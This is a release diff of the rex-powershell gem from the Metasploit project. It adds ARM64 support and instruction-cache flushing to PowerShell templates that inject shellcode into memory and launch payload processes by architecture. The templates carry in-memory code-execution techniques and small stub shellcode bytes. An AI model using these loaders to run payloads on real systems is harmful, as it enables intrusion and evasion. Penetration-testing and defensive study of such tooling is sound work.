rex-powershell 0.1.103 → 0.1.105

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: 5d83bed71c29aebe5bb0c2ee0b8fe17b280dee3aa85956a220e693156fc68e82
-  data.tar.gz: f4955d117533642a8aa52f583a4a271fd5ea764b2bdbd32a69741ad6dcd65d23
+  metadata.gz: 229c3e9da070656dd48d0f94df036a0fb1649d2ae76d0b64a284dd823f25e24f
+  data.tar.gz: c0aee4bd384ad79bc3a08c26467fd8f8d4a58b43016939ab0f0a633efc93641c
 SHA512:
-  metadata.gz: 763134823f908a58451616c8bdfbd0a7b357f96d596e6d06c71a9b301ac8a571f78698574e8ef1a6e76c7a7a2d7529c3c2457dc90b79235bc883829953cdb02d
-  data.tar.gz: 8d76f2aa9c4e1dda8e955d054c10183708411135522ab99ab32f73a947246802cfc09616593d4a6ed362822c53edaeb08916eb9d242f42798ed8ac08e6cc6f47
+  metadata.gz: b0db46889ac226f83686e45aa9938f2068e41c6e6a7ccfe9f6ee922199c3da6a6caff10343a621b9d9cbaa5ad38f867111bf4a472a0b4b1512bcf124a6de3952
+  data.tar.gz: 05d9d722eaa582f4f7680b56f6ce8c9d20ce97f22934086c66d124045acd37d12f90fb72c3c777197c084e31acc67c80417b1e6104afd66c428727f50b5281c3

data/data/templates/to_mem_dotnet.ps1.template

@@ -9,6 +9,7 @@ $%{var_syscode} = @"
 			[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
 			[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
 			[DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr lpAddress, int dwSize, int flNewProtect,out int lpflOldProtect);
+			[DllImport("kernel32.dll")] public static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize);
 			[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
 			[DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
 		}
@@ -29,6 +30,7 @@ if ([Bool]!$%{var_baseaddr}) { $global:result = 3; return }
 [System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_baseaddr}, $%{var_code}.Length)
 
 if ([%{var_kernel32}.func]::VirtualProtect($%{var_baseaddr},[Uint32]$%{var_code}.Length + 1, [%{var_kernel32}.func+MemoryProtection]::Execute, [Ref]$%{var_opf}) -eq $true ) {
+	[%{var_kernel32}.func]::FlushInstructionCache([IntPtr](-1), $%{var_baseaddr}, [UIntPtr]($%{var_code}.Length + 1)) | Out-Null
 	[IntPtr] $%{var_threadHandle} = [%{var_kernel32}.func]::CreateThread(0,0,$%{var_baseaddr},0,0,0)
 	if ([Bool]!$%{var_threadHandle}) { $global:result = 7; return }
 	$%{var_temp} = [%{var_kernel32}.func]::WaitForSingleObject($%{var_threadHandle}, [%{var_kernel32}.func+Time]::Infinite)

data/data/templates/to_mem_msil.ps1.template

@@ -46,9 +46,18 @@ $%{var_dyn_meth}.Emit([System.Reflection.Emit.OpCodes]::Xor)
 $%{var_dyn_meth}.Emit([System.Reflection.Emit.OpCodes]::Ret)
 $%{var_tgt_meth} = ($%{var_dyn_type}.CreateType()).GetMethod('%{str_tgt_meth}')
 
+if ($env:PROCESSOR_ARCHITECTURE -eq 'ARM64') {
+  $%{var_flush_type} = %{func_build_dyn_type}('%{str_flush_type}')
+  $%{var_flush_method} = $%{var_flush_type}.DefinePInvokeMethod('%{str_flush_method}', 'kernel32.dll', 'FlushInstructionCache', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static -bOr [System.Reflection.MethodAttributes]::PinvokeImpl, [System.Reflection.CallingConventions]::Standard, [Bool], [Type[]]@([IntPtr], [IntPtr], [UIntPtr]), [System.Runtime.InteropServices.CallingConvention]::Winapi, [System.Runtime.InteropServices.CharSet]::Auto)
+  $%{var_flush_method}.SetImplementationFlags($%{var_flush_method}.GetMethodImplementationFlags() -bOr [System.Reflection.MethodImplAttributes]::PreserveSig)
+  $%{var_flush_method} = ($%{var_flush_type}.CreateType()).GetMethod('%{str_flush_method}')
+}
+
 foreach ($Exec in 1..20) { $%{var_tgt_meth}.Invoke($null, @(0x11112222)) | Out-Null }
 
-if ( [IntPtr]::Size -eq 4 ) {
+if ($env:PROCESSOR_ARCHITECTURE -eq 'ARM64') {
+  $%{var_sc} = [Byte[]] @(0xF3,0x53,0xBA,0xA9,0xF5,0x5B,0x01,0xA9,0xF7,0x63,0x02,0xA9,0xF9,0x6B,0x03,0xA9,0xFB,0x73,0x04,0xA9,0xFD,0x7B,0x05,0xA9,0x09,0x00,0x00,0x94,0xFD,0x7B,0x45,0xA9,0xFB,0x73,0x44,0xA9,0xF9,0x6B,0x43,0xA9,0xF7,0x63,0x42,0xA9,0xF5,0x5B,0x41,0xA9,0xF3,0x53,0xC6,0xA8,0x00,0x00,0x80,0xD2,0xC0,0x03,0x5F,0xD6)
+} elseif ( [IntPtr]::Size -eq 4 ) {
   $%{var_sc} = [Byte[]] @(0x60,0xE8,0x04,0,0,0,0x61,0x31,0xC0,0xC3)
 } else {
   $%{var_sc} = [Byte[]] @(0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57,0x55,0xE8,0x0D,0x00,0x00,0x00,0x5D,0x41,0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x48,0x31,0xC0,0xC3)
@@ -58,10 +67,14 @@ $%{var_sc_addr} = [Runtime.InteropServices.Marshal]::AllocHGlobal($%{var_sc}.Len
 [Runtime.InteropServices.Marshal]::Copy($%{var_sc}, 0, $%{var_sc_addr}, $%{var_sc}.Length)
 
 $%{var_args} = New-Object Object[](3)
-$%{var_args}[0] = [IntPtr]$(%{func_get_meth_addr} $%{var_tgt_meth})
+$%{var_tgt_addr} = [IntPtr]$(%{func_get_meth_addr} $%{var_tgt_meth})
+$%{var_args}[0] = $%{var_tgt_addr}
 $%{var_args}[1] = $%{var_sc_addr}
 $%{var_args}[2] = $%{var_sc}.Length
 
 $%{var_src_meth}.Invoke($null, $%{var_args})
+if ($env:PROCESSOR_ARCHITECTURE -eq 'ARM64') {
+  $%{var_flush_method}.Invoke($null, @([IntPtr](-1), $%{var_tgt_addr}, [UIntPtr]$%{var_sc}.Length)) | Out-Null
+}
 
 $%{var_tgt_meth}.Invoke($null, @(0x11112222))

data/data/templates/to_mem_old.ps1.template

@@ -2,6 +2,8 @@ $%{var_syscode} = @"
 [DllImport("kernel32.dll")]
 public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
 [DllImport("kernel32.dll")]
+public static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize);
+[DllImport("kernel32.dll")]
 public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
 "@
 
@@ -13,4 +15,6 @@ $%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,[Math]::Max($%{var_code}.Length
 
 [System.Runtime.InteropServices.Marshal]::Copy($%{var_code},0,$%{var_rwx},$%{var_code}.Length)
 
+$%{var_win32_func}::FlushInstructionCache([IntPtr](-1),$%{var_rwx},[UIntPtr]$%{var_code}.Length) | Out-Null
+
 $%{var_win32_func}::CreateThread(0,0,$%{var_rwx},0,0,0)

data/data/templates/to_mem_pshreflection.ps1.template

@@ -24,6 +24,7 @@ $%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctio
 
 [System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)
 if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualProtect), (%{func_get_delegate_type} @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($%{var_buffer}, [Uint32]$%{var_code}.Length, 0x10, [Ref]$%{var_opf})) -eq $true) {
-        $%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero)
+	[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll FlushInstructionCache), (%{func_get_delegate_type} @([IntPtr], [IntPtr], [UIntPtr]) ([Bool]))).Invoke([IntPtr](-1), $%{var_buffer}, [UIntPtr]$%{var_code}.Length) | Out-Null
+	$%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero)
         [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null
 }

data/lib/rex/powershell/command.rb

@@ -208,8 +208,14 @@ module Command
   # detect the execution environment and spawn the appropriate
   # powershell executable for the payload architecture.
   #
+  # ARM64 note: [IntPtr]::Size cannot tell an ARM64 process apart from an x64
+  # one, so PROCESSOR_ARCHITECTURE (and PROCESSOR_ARCHITEW6432 for a 32-bit
+  # process on Windows-on-ARM) is consulted first. A payload_arch of
+  # 'aarch64' targets the native ARM64 powershell.exe under System32
+  # (reached via sysnative when the current process is 32-bit).
+  #
   # @param ps_code [String] Powershell code
-  # @param payload_arch [String] The payload architecture 'x86'/'x86_64'
+  # @param payload_arch [String] The payload architecture 'x86'/'x86_64'/'aarch64'
   # @param encoded [Boolean] Indicates whether ps_code is encoded or not
   # @param opts [Hash] The options for generate_psh_args
   #
@@ -240,20 +246,51 @@ $p=[System.Diagnostics.Process]::Start($s)
 EOS
     process_start_info.gsub!("\n", ';')
 
-    archictecure_detection = <<EOS
-if([IntPtr]::Size -eq 4){
-#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
+    # Path helpers keep the emitted PowerShell readable and single-quoted so no
+    # further escaping is required at the target.
+    native_ps      = "$b='powershell.exe'"
+    syswow64_ps    = "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'"
+    sysnative_ps   = "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"
+
+    # On Windows-on-ARM the native host is the ARM64 powershell.exe; the
+    # 32-bit x86 host still lives under SysWOW64. When we're already inside a
+    # 32-bit process on WoA, PROCESSOR_ARCHITECTURE reports 'x86' and
+    # PROCESSOR_ARCHITEW6432 reports 'ARM64', so we escape to native via
+    # sysnative. x86_64 payloads on WoA fall through to native and rely on
+    # the OS x64 emulator, which is best-effort.
+    arm64_native_branch = case payload_arch
+                          when 'aarch64' then native_ps
+                          when 'x86'     then syswow64_ps
+                          else                native_ps
+                          end
+
+    arm64_wow64_branch  = case payload_arch
+                          when 'aarch64' then sysnative_ps
+                          when 'x86'     then native_ps
+                          else                sysnative_ps
+                          end
+
+    intptr4_branch      = payload_arch == 'x86' ? native_ps : sysnative_ps
+    intptr8_branch      = payload_arch == 'x86' ? syswow64_ps : native_ps
+
+    architecture_detection = <<EOS
+if($env:PROCESSOR_ARCHITECTURE -eq 'ARM64'){
+#{arm64_native_branch}
+}elseif($env:PROCESSOR_ARCHITEW6432 -eq 'ARM64'){
+#{arm64_wow64_branch}
+}elseif([IntPtr]::Size -eq 4){
+#{intptr4_branch}
 }else{
-#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
+#{intptr8_branch}
 };
 EOS
 
-    archictecure_detection.gsub!("\n", '')
+    architecture_detection.gsub!("\n", '')
 
     if opts[:no_arch_detect]
       return   "$b='powershell.exe';#{process_start_info}"
     else
-      archictecure_detection + process_start_info
+      architecture_detection + process_start_info
     end
   end
 
@@ -264,7 +301,7 @@ EOS
   # run_hidden_psh, generate_psh_command_line and generate_psh_args
   #
   # @param pay [String] The payload shellcode
-  # @param payload_arch [String] The payload architecture 'x86'/'x86_64'
+  # @param payload_arch [String] The payload architecture 'x86'/'x86_64'/'aarch64'
   # @param opts [Hash] The options to generate the command
   # @option opts [Boolean] :persist Loop the payload to cause
   #   re-execution if the shellcode finishes
@@ -277,7 +314,7 @@ EOS
   # @option opts [Integer] :prepend_sleep Sleep for the specified time
   #   before executing the payload
   # @option opts [String] :method The powershell injection technique to
-  #   use: 'net'/'reflection'/'old'
+  #   use: 'net'/'reflection'/'old'/'msil'
   # @option opts [Boolean] :encode_inner_payload Encodes the powershell
   #   script within the hidden/architecture detection wrapper
   # @option opts [Boolean] :encode_final_payload Encodes the final

data/lib/rex/powershell/payload.rb

@@ -95,10 +95,15 @@ module Payload
     rig.init_var(:var_sc_addr)
     rig.init_var(:var_sc)
     rig.init_var(:var_src_meth)
+    rig.init_var(:var_tgt_addr)
+    rig.init_var(:var_flush_type)
+    rig.init_var(:var_flush_method)
     rig.init_var(:str_addr_loc)
     rig.init_var(:str_tgt_meth)
     rig.init_var(:str_src_type)
     rig.init_var(:str_tgt_type)
+    rig.init_var(:str_flush_type)
+    rig.init_var(:str_flush_method)
 
     hash_sub = rig.to_h
     hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)

data/lib/rex/powershell/version.rb

@@ -1,5 +1,5 @@
 module Rex
   module Powershell
-    VERSION = "0.1.103"
+    VERSION = "0.1.105"
   end
 end

metadata

@@ -1,14 +1,14 @@
 --- !ruby/object:Gem::Specification
 name: rex-powershell
 version: !ruby/object:Gem::Version
-  version: 0.1.103
+  version: 0.1.105
 platform: ruby
 authors:
 - Metasploit Hackers
 autorequire:
 bindir: exe
 cert_chain: []
-date: 2025-08-04 00:00:00.000000000 Z
+date: 2026-08-31 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: rake